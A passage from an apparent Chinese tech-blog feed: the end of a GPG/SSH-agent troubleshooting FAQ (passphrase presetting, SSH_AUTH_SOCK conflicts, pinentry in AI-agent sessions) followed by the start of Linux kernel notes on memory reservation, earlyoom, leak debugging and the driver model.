&lt;p&gt;分工：&lt;code&gt;read&lt;&#x2F;code&gt;（终端侧：静默收一次输入）→ shell 变量 → 循环内每次 preset 走 stdin（agent 侧）。变量存口令不构成泄露（非 export 不进 environ、不落 argv，&lt;code&gt;ps&lt;&#x2F;code&gt; 不可见，循环后 &lt;code&gt;unset&lt;&#x2F;code&gt;），详见上文「安全模型」。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q3: SSH 场景 pinentry 弹到别的终端？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;SSH 协议不携带 ttyname，pinentry-curses 只能画在 gpg-agent 全局 startup_tty（最后一次 &lt;code&gt;updatestartuptty&lt;&#x2F;code&gt; 的终端），多终端下最易弹错位置；&lt;code&gt;gpg&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;pass&lt;&#x2F;code&gt; 路径客户端自带 ttyname 不受影响。修复：shell rc 里 &lt;code&gt;export GPG_TTY=&quot;$(tty)&quot;&lt;&#x2F;code&gt;（有 tty 时）并 &lt;code&gt;gpg-connect-agent updatestartuptty &#x2F;bye&lt;&#x2F;code&gt;，详见「pinentry 如何拿到 DISPLAY &#x2F; tty」。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q4: GPG 生成密钥时提示熵不够？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;SSH 远程服务器缺乏随机源，安装 &lt;code&gt;rng-tools&lt;&#x2F;code&gt; 或在 GUI 环境下操作。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q5: Emacs Magit 与 git credential 冲突？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;设置 &lt;code&gt;magit-process-connection-type&lt;&#x2F;code&gt; 为 t，配置 &lt;code&gt;GCM_CREDENTIAL_STORE=cache&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q6: gpg-preset-passphrase 支持交互式输入口令吗？怎么验证？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;支持&lt;&#x2F;strong&gt;，且&lt;strong&gt;纯回车即可完成，不需要 Ctrl+D&lt;&#x2F;strong&gt;。实测（pty 模拟 + 真实 grip 的 keyinfo 缓存位验证）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;输入方式&lt;&#x2F;th&gt;&lt;th&gt;结果&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;口令 + 回车（无 EOF）&lt;&#x2F;td&gt;&lt;td&gt;exit 0，缓存位 &lt;code&gt;-&lt;&#x2F;code&gt;→&lt;code&gt;1&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;口令 + Ctrl+D&lt;&#x2F;td&gt;&lt;td&gt;exit 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;口令 + 回车 + Ctrl+D&lt;&#x2F;td&gt;&lt;td&gt;exit 0&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;程序按&lt;strong&gt;行&lt;&#x2F;strong&gt;读取 stdin（非 fread 到 EOF），回车即结束输入；&lt;strong&gt;尾部 &lt;code&gt;\n&lt;&#x2F;code&gt; 会被剥离&lt;&#x2F;strong&gt;——反证：&lt;code&gt;printf &#x27;%s\n&#x27; &quot;$pass&quot; | gpg-preset-passphrase -c &amp;lt;grip&amp;gt;&lt;&#x2F;code&gt; 喂入后实际签名成功，说明缓存口令与真实口令一致、无混入换行。&lt;&#x2F;p&gt;
&lt;p&gt;验证方法：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;gpg-preset-passphrase -c &amp;lt;40位keygrip&amp;gt;        # 直接运行, 盲输口令, 回车
gpg-connect-agent &amp;#x27;keyinfo --list&amp;#x27; &amp;#x2F;bye | grep &amp;lt;keygrip&amp;gt;   # 第7字段 1=已写缓存(格式: grip 类型 序列 缓存 公钥 设备 口令缓存 来源 过期)
gpg-preset-passphrase -f &amp;lt;keygrip&amp;gt;            # 验证完清理
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;常见误区（均已被实测推翻）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;❌ &quot;必须 Ctrl+D 结束输入&quot;——回车即完成&lt;&#x2F;li&gt;
&lt;li&gt;❌ &quot;回车会把 &lt;code&gt;\n&lt;&#x2F;code&gt; 作为密码的一部分导致失败&quot;——&lt;code&gt;\n&lt;&#x2F;code&gt; 被剥离&lt;&#x2F;li&gt;
&lt;li&gt;❌ &quot;参数带 &lt;code&gt;SSH:&lt;&#x2F;code&gt; 前缀（如 &lt;code&gt;SSH:40位特征码&lt;&#x2F;code&gt;）&quot;——参数就是裸 40 位 hex keygrip（&lt;code&gt;--help&lt;&#x2F;code&gt;：&lt;code&gt;gpg-preset-passphrase [选项] KEYGRIP&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;✅ &lt;code&gt;read -s&lt;&#x2F;code&gt; 包装交互界面——正确做法，gpg-manager.sh 已实现&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;重要注意&lt;&#x2F;strong&gt;：preset &lt;strong&gt;不校验口令正确性&lt;&#x2F;strong&gt;——&quot;写入成功&quot;（exit 0）≠ &quot;口令正确&quot;。写入错误口令后，下次签名解密失败会触发 pinentry 重新录入（自愈），但会造成一次多余的弹窗。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q7: gpg-agent 缓存明明正常（keyinfo 显示 cached=P），为什么 git push 还是 Permission denied (publickey)？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;排查思路要分两层：&lt;strong&gt;密钥缓存（gpg-agent 侧）≠ 认证通路（SSH_AUTH_SOCK 指向）&lt;&#x2F;strong&gt;。实测案例：同一台机器 &lt;code&gt;git push&lt;&#x2F;code&gt;（gitee）成功、&lt;code&gt;git push&lt;&#x2F;code&gt;（github）失败，&lt;code&gt;gpg-connect-agent &#x27;keyinfo --list&#x27; &#x2F;bye&lt;&#x2F;code&gt; 显示密钥缓存正常（&lt;code&gt;P&lt;&#x2F;code&gt; = 口令已 preset），一度误判为&quot;缓存过期&quot;。&lt;&#x2F;p&gt;
&lt;p&gt;真正原因：当前 shell 的 &lt;code&gt;SSH_AUTH_SOCK=&#x2F;tmp&#x2F;ssh-XXXX&#x2F;agent.PID&lt;&#x2F;code&gt; 指向一个&lt;strong&gt;残留的空 ssh-agent&lt;&#x2F;strong&gt;（&lt;code&gt;ssh-add -l&lt;&#x2F;code&gt; 报 no identities），gpg-agent 被完全绕过。来源是迁移 gpg-agent 方案前的老 rc 函数 &lt;code&gt;sshagent()&lt;&#x2F;code&gt;（&lt;code&gt;~&#x2F;.my_profile.net&lt;&#x2F;code&gt;）：某次 shell 启动时 &lt;code&gt;ssh-add -l&lt;&#x2F;code&gt; 失败（当时 gpg-agent 未就绪），它便启动独立 &lt;code&gt;ssh-agent -s&lt;&#x2F;code&gt; 并把 &lt;code&gt;SSH_AUTH_SOCK&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;SSH_AGENT_PID&lt;&#x2F;code&gt; 持久化到 &lt;code&gt;~&#x2F;.pid_ssh_agent&lt;&#x2F;code&gt;，&lt;strong&gt;此后的每个 shell 都 source 复用这个空 agent&lt;&#x2F;strong&gt;——这就是 &lt;code&gt;~&#x2F;.pid_ssh_agent&lt;&#x2F;code&gt; 和 &lt;code&gt;&#x2F;tmp&#x2F;ssh-*&#x2F;agent.*&lt;&#x2F;code&gt; 出现在 SSH_AUTH_SOCK 里的来源。&lt;&#x2F;p&gt;
&lt;p&gt;为什么 gitee 能 push、github 不能：&lt;code&gt;~&#x2F;.ssh&#x2F;config&lt;&#x2F;code&gt; 配了 &lt;code&gt;ControlMaster auto + ControlPersist 1h&lt;&#x2F;code&gt;，gitee 已有复用的 master 连接（&lt;code&gt;~&#x2F;.ssh&#x2F;socket&#x2F;git@gitee.com-22&lt;&#x2F;code&gt;），复用通道&lt;strong&gt;不重新认证&lt;&#x2F;strong&gt;；github.com 无复用连接，每次 push 都要实时签名 → 空 agent → 拒绝。所以&quot;有的仓库能 push 有的不能&quot;正是这个病的典型症状。&lt;&#x2F;p&gt;
&lt;p&gt;修复：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 清理残留 ssh-agent 与其持久化文件(进程号见 ~&amp;#x2F;.pid_ssh_agent 或 ps aux | grep ssh-agent)
kill &amp;lt;SSH_AGENT_PID&amp;gt; &amp;amp;&amp;amp; rm -f ~&amp;#x2F;.pid_ssh_agent
# 2. 当前 shell 指回 gpg-agent
export SSH_AUTH_SOCK=&amp;quot;$(gpgconf --list-dirs agent-ssh-socket)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;根治：老 &lt;code&gt;sshagent()&lt;&#x2F;code&gt; 开头先探测 gpg-agent socket（&lt;code&gt;gpgconf --list-dirs agent-ssh-socket&lt;&#x2F;code&gt; 存在且 &lt;code&gt;-S&lt;&#x2F;code&gt; 为 socket）则直接 &lt;code&gt;export SSH_AUTH_SOCK&lt;&#x2F;code&gt; 并跳过启动独立 agent；无 gpg-agent 的环境（如远程服务器）再走原逻辑。教训：&lt;code&gt;SSH_AUTH_SOCK&lt;&#x2F;code&gt; 是&lt;strong&gt;环境变量覆盖&lt;&#x2F;strong&gt;机制，任何会 export 它的旧逻辑都会静默劫持新方案；排查认证失败第一步永远先 &lt;code&gt;echo $SSH_AUTH_SOCK&lt;&#x2F;code&gt; 确认指向（应含 &lt;code&gt;gnupg&#x2F;S.gpg-agent.ssh&lt;&#x2F;code&gt;），&lt;code&gt;ssh -vvv&lt;&#x2F;code&gt; 的 &lt;code&gt;get_agent_identities&lt;&#x2F;code&gt; 行可直接看到 agent 里的身份数。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q8: 跑完 gpg-manager.sh，某把密钥的 keyinfo 缓存位还是 &lt;code&gt;-&lt;&#x2F;code&gt;（没被预设）？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;先看这把密钥&lt;strong&gt;有没有 &lt;code&gt;.pub&lt;&#x2F;code&gt; 文件&lt;&#x2F;strong&gt;：gpg-manager.sh 第 5 步 B 分支（原生 SSH 密钥缓存刷新）只从 &lt;code&gt;~&#x2F;.ssh&#x2F;*.pub&lt;&#x2F;code&gt; 构建「指纹 → 私钥文件」映射，&lt;strong&gt;无 &lt;code&gt;.pub&lt;&#x2F;code&gt; 的密钥（如 &lt;code&gt;id_rsa_199_jumper&lt;&#x2F;code&gt;，只有私钥和 &lt;code&gt;.bak&lt;&#x2F;code&gt;）找不到私钥文件，会被 &lt;code&gt;[!] 跳过: 未找到 keygrip ... 对应的私钥文件&lt;&#x2F;code&gt; 跳过，不执行预设&lt;&#x2F;strong&gt;——属预期行为，无 &lt;code&gt;.pub&lt;&#x2F;code&gt; 的密钥不纳入脚本管理。&lt;&#x2F;p&gt;
&lt;p&gt;处理方式二选一：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 1. 手动预设(不依赖 .pub, 在交互终端输入该密钥的保护口令)
gpg-preset-passphrase -c &amp;lt;40位keygrip&amp;gt;      # 之后 keyinfo 缓存位 - → 1

# 2. 补一份 .pub 后重跑 gpg-manager.sh(脚本会识别并纳入管理)
ssh-keygen -y -f ~&amp;#x2F;.ssh&amp;#x2F;id_xxx &amp;gt; ~&amp;#x2F;.ssh&amp;#x2F;id_xxx.pub
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;要点：无 &lt;code&gt;.pub&lt;&#x2F;code&gt; &lt;strong&gt;不影响密钥本身使用&lt;&#x2F;strong&gt;（认证只读私钥），只是脱离 gpg-manager.sh 的管理（不参与缓存刷新）。另外 &lt;code&gt;.bak&lt;&#x2F;code&gt; 备份私钥本身就不该被管理——脚本的 &lt;code&gt;~&#x2F;.ssh&#x2F;id_*&lt;&#x2F;code&gt; 遍历已排除 &lt;code&gt;*.pub&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;*-cert&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;*.bak&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;Q9: 智能体（agent）里 git push 弹 pinentry 没法输入口令，怎么办？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;opencode 等智能体环境里，&lt;code&gt;git push&lt;&#x2F;code&gt; 走 SSH → gpg-agent（SSH_AUTH_SOCK）→ SSH 密钥口令缓存过期 → pinentry-curses 画在 agent 的 PTY 上，&lt;strong&gt;你根本没法输入&lt;&#x2F;strong&gt; → push 挂死&#x2F;失败。这是&quot;SSH 密钥口令缓存过期&quot;在 agent 场景的必然结果，不是 bug。&lt;&#x2F;p&gt;
&lt;p&gt;解法（按优先级）：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;拉长 TTL + 解锁一次管很久&lt;&#x2F;strong&gt;：&lt;code&gt;max-cache-ttl-ssh&lt;&#x2F;code&gt;（和 &lt;code&gt;max-cache-ttl&lt;&#x2F;code&gt;）调大（本仓库现为 57600 = 16h）。开机&#x2F;agent 重启后先在&lt;strong&gt;你自己的终端&lt;&#x2F;strong&gt;解锁一次（&lt;code&gt;ssh -T git@github.com&lt;&#x2F;code&gt; 走 SSH 密钥、&lt;code&gt;pass show sudo&lt;&#x2F;code&gt; 走 GPG），之后 agent 里 push&#x2F;sudo 长时间不再弹。改 TTL 需同步 run.sh 模板，否则重跑会被覆盖&lt;&#x2F;li&gt;
&lt;li&gt;&lt;strong&gt;需要立刻重置计时时用 &lt;code&gt;gpg-manager.sh --forget&lt;&#x2F;code&gt;&lt;&#x2F;strong&gt;：脚本先打印每把密钥当前缓存状态（&lt;code&gt;KEYINFO&lt;&#x2F;code&gt; 第 7 字段：&lt;code&gt;1&lt;&#x2F;code&gt;=已缓存，&lt;code&gt;-&lt;&#x2F;code&gt;=未缓存），&lt;strong&gt;所有 GPG&#x2F;SSH 密钥口令一致时只输入一次&lt;&#x2F;strong&gt;，逐把询问 &lt;code&gt;预设? [y&#x2F;N]&lt;&#x2F;code&gt;；带 &lt;code&gt;--forget&lt;&#x2F;code&gt; 时预设前先 &lt;code&gt;CLEAR_PASSPHRASE&lt;&#x2F;code&gt; 删条目，使 max-cache-ttl 重新计时&lt;&#x2F;li&gt;
&lt;li&gt;也可在 agent 场景为命令前缀 &lt;code&gt;GPG_TTY=&#x2F;dev&#x2F;nonexistent&lt;&#x2F;code&gt; 让 pinentry 快速失败而非画框（见上文「Agent 上下文」节），但那是&quot;不弹&quot;不是&quot;能过&quot;，治标不治本&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;Q10: gpg-preset-passphrase 的 preset 与 forget 对 TTL 的影响？&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作&lt;&#x2F;th&gt;&lt;th&gt;default-cache-ttl&lt;&#x2F;th&gt;&lt;th&gt;max-cache-ttl&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;preset（条目已存在）&lt;&#x2F;td&gt;&lt;td&gt;✅ 重置闲置计时器&lt;&#x2F;td&gt;&lt;td&gt;❌ 不刷新（created 锚定）&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;forget → preset（条目重建）&lt;&#x2F;td&gt;&lt;td&gt;✅ 重新计时&lt;&#x2F;td&gt;&lt;td&gt;✅ 重新计时&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;&lt;code&gt;--forget&lt;&#x2F;code&gt;（&lt;code&gt;CLEAR_PASSPHRASE&lt;&#x2F;code&gt; 删除条目）后再 preset，gpg-agent 视为全新缓存条目，两个计时器都从零开始。注意本环境 &lt;code&gt;gpg-preset-passphrase -f&lt;&#x2F;code&gt; 实测报 &lt;code&gt;IPC 无查询回调&lt;&#x2F;code&gt;，用 &lt;code&gt;gpg-connect-agent &quot;CLEAR_PASSPHRASE &amp;lt;grip&amp;gt;&quot; &#x2F;bye&lt;&#x2F;code&gt; 更可靠。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Linux 内核笔记</title>
        <published>2025-07-18T12:00:00+08:00</published>
        <updated>2025-07-18T12:00:00+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2025/07/linux-kernel/"/>
        <id>https://vercel.juzhong.asia/2025/07/linux-kernel/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2025/07/linux-kernel/">&lt;h1 id=&quot;linux-nei-he-bi-ji&quot;&gt;Linux 内核笔记&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;wu-li-nei-cun-bu-ju&quot;&gt;物理内存布局&lt;&#x2F;h2&gt;
&lt;p&gt;在典型 RISC-V&#x2F;ARM 主板中，物理地址空间分配如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0x0000_0000&lt;&#x2F;code&gt; — 保留&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x0200_0000&lt;&#x2F;code&gt; — CLINT（中断控制器）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x1000_0000&lt;&#x2F;code&gt; — Boot ROM&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x1009_0000&lt;&#x2F;code&gt; — 以太网控制器&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;0x8000_0000&lt;&#x2F;code&gt; — DRAM 起始地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;高于 &lt;code&gt;0x8000_0000&lt;&#x2F;code&gt; 的地址访问 DRAM，低于的地址访问 MMIO（内存映射 I&#x2F;O）设备。主板设计者决定物理地址的路由规则。&lt;&#x2F;p&gt;
&lt;p&gt;可通过 &lt;code&gt;cat &#x2F;proc&#x2F;iomem&lt;&#x2F;code&gt; 查看物理内存分布，&lt;code&gt;System RAM&lt;&#x2F;code&gt; 项代表系统可用内存。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;yu-liu-xi-tong-nei-cun&quot;&gt;预留系统内存&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;fang-fa-yi-nei-he-qi-dong-can-shu&quot;&gt;方法一：内核启动参数&lt;&#x2F;h3&gt;
&lt;p&gt;在 grub 启动参数中添加：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;memmap=4m\$0x10DBFFFFF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;表示从 &lt;code&gt;0x10DBFFFFF&lt;&#x2F;code&gt; 起预留 4MB。重启后通过 &lt;code&gt;cat &#x2F;proc&#x2F;iomem&lt;&#x2F;code&gt; 验证是否标记为 &lt;code&gt;reserved&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-er-memblock&quot;&gt;方法二：memblock&lt;&#x2F;h3&gt;
&lt;p&gt;在 &lt;code&gt;setup_arch()&lt;&#x2F;code&gt; 中调用 &lt;code&gt;memblock_reserve()&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;memblock_reserve(0x100000000, 0x2000000);  &amp;#x2F;&amp;#x2F; 预留 32MB
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;预留内存可通过 &lt;code&gt;memremap()&lt;&#x2F;code&gt; 或 &lt;code&gt;phy_to_vir&lt;&#x2F;code&gt;（仅限 normal 区）映射访问。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-san-xian-zhi-zong-nei-cun-mem&quot;&gt;方法三：限制总内存 &lt;code&gt;mem=&lt;&#x2F;code&gt;&lt;&#x2F;h3&gt;
&lt;p&gt;在 grub 中添加 &lt;code&gt;mem=2G&lt;&#x2F;code&gt; 限制可用内存，超出部分即被隐藏。隐藏内存只能通过 &lt;code&gt;memremap()&lt;&#x2F;code&gt; 访问，&lt;code&gt;phy_to_vir&lt;&#x2F;code&gt; 不可用。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fang-fa-si-cma&quot;&gt;方法四：CMA&lt;&#x2F;h3&gt;
&lt;p&gt;CMA（Contiguous Memory Allocation）动态分配大块连续物理内存，可用于 DMA 等场景，需修改内核配置或设备树。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;fang-wen-yu-liu-nei-cun&quot;&gt;访问预留内存&lt;&#x2F;h2&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&amp;#x2F;&amp;#x2F; 申请资源
request_mem_region(0x40000000, 0x20000000, &amp;quot;reserve test&amp;quot;);

&amp;#x2F;&amp;#x2F; 映射内存
void* addr = memremap(0x40000000, 0x20000000, MEMREMAP_WB);

&amp;#x2F;&amp;#x2F; 使用完后释放
iounmap(addr);
release_mem_region(0x40000000, 0x20000000);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;earlyoom&quot;&gt;earlyoom&lt;&#x2F;h2&gt;
&lt;p&gt;当系统内存不足时，earlyoom 在 OOM Killer 之前主动杀掉高内存消耗进程，避免系统卡顿。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;apt install earlyoom
systemctl enable --now earlyoom
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;默认行为：内存和 swap 同时低于 10% 时杀 &lt;code&gt;oom_score&lt;&#x2F;code&gt; 最高的进程；低于 5% 时发 SIGKILL。&lt;&#x2F;p&gt;
&lt;p&gt;配置 &lt;code&gt;&#x2F;etc&#x2F;default&#x2F;earlyoom&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;EARLYOOM_ARGS=&amp;quot;-r 60 -m 1 -s 5 --avoid &amp;#x27;(^|&amp;#x2F;)(init|X|sshd)$&amp;#x27;&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;-r 60&lt;&#x2F;code&gt;：每 60 秒打印一次统计&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-m 1&lt;&#x2F;code&gt;：物理内存保留 1%&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;-s 5&lt;&#x2F;code&gt;：swap 保留 5%&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--avoid&lt;&#x2F;code&gt;：永不杀匹配正则的进程&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;--prefer&lt;&#x2F;code&gt;：优先杀匹配正则的进程&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;查看历史记录：&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;journalctl -u earlyoom | grep -iE &amp;quot;(sending|killing)&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;nei-he-nei-cun-xie-lou-pai-cha&quot;&gt;内核内存泄漏排查&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;思路&lt;&#x2F;strong&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;监控用户进程 PSS（&lt;code&gt;pmap &amp;lt;pid&amp;gt;&lt;&#x2F;code&gt;）&lt;&#x2F;li&gt;
&lt;li&gt;监控 &lt;code&gt;&#x2F;proc&#x2F;meminfo&lt;&#x2F;code&gt;，重点关注 Slab 使用量&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;slabtop&lt;&#x2F;code&gt; 查看 slab 分配，关注持续增长的 size 类别&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;trace-cmd&lt;&#x2F;code&gt; 跟踪 &lt;code&gt;kmalloc&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;kfree&lt;&#x2F;code&gt;：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;trace-cmd record -e kmalloc -f &amp;#x27;bytes_alloc==4096&amp;#x27; -e kfree -T
trace-cmd report
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对比 kmalloc 和 kfree 的 ptr 地址，匹配不上的即为泄漏。&lt;&#x2F;p&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;手动触发 vmcore 用 crash 工具分析：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;echo c &amp;gt; &amp;#x2F;proc&amp;#x2F;sysrq-trigger
crash .&amp;#x2F;vmcore .&amp;#x2F;vmlinux.debug
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;linux-zong-xian-qu-dong-mo-xing&quot;&gt;Linux 总线驱动模型&lt;&#x2F;h2&gt;
&lt;p&gt;Linux 设备驱动模型以**总线（bus）&lt;strong&gt;为核心，管理&lt;&#x2F;strong&gt;设备（device）&lt;strong&gt;和&lt;&#x2F;strong&gt;驱动（driver）**的匹配。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zong-xian-zhu-ce&quot;&gt;总线注册&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static struct bus_type xbus = {
    .name = &amp;quot;xbus&amp;quot;,
    .match = xbus_match,  &amp;#x2F;&amp;#x2F; 设备和驱动匹配回调
};

&amp;#x2F;&amp;#x2F; 模块加载时注册
bus_register(&amp;amp;xbus);
&amp;#x2F;&amp;#x2F; 导出属性文件到 &amp;#x2F;sys
bus_create_file(&amp;amp;xbus, &amp;amp;bus_attr_xbus_test);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;she-bei-zhu-ce&quot;&gt;设备注册&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static struct device xdev = {
    .init_name = &amp;quot;xdev&amp;quot;,
    .bus = &amp;amp;xbus,
    .release = xdev_release,
};

device_register(&amp;amp;xdev);
&amp;#x2F;&amp;#x2F; 导出设备属性
DEVICE_ATTR(xdev_id, S_IRUSR|S_IWUSR, xdev_id_show, xdev_id_store);
device_create_file(&amp;amp;xdev, &amp;amp;dev_attr_xdev_id);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;qu-dong-zhu-ce&quot;&gt;驱动注册&lt;&#x2F;h3&gt;
&lt;pre data-lang=&quot;c&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;static struct device_driver xdrv = {
    .name = &amp;quot;xdev&amp;quot;,      &amp;#x2F;&amp;#x2F; 与设备名一致才能匹配
    .bus = &amp;amp;xbus,
    .probe = xdrv_probe,
    .remove = xdrv_remove,
};

driver_register(&amp;amp;xdrv);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;匹配成功后自动调用驱动的 &lt;code&gt;probe&lt;&#x2F;code&gt; 函数。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;shu-xing-wen-jian-dao-chu-hong&quot;&gt;属性文件导出宏&lt;&#x2F;h3&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;宏&lt;&#x2F;th&gt;&lt;th&gt;用途&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;code&gt;BUS_ATTR&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;td&gt;总线级别属性&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
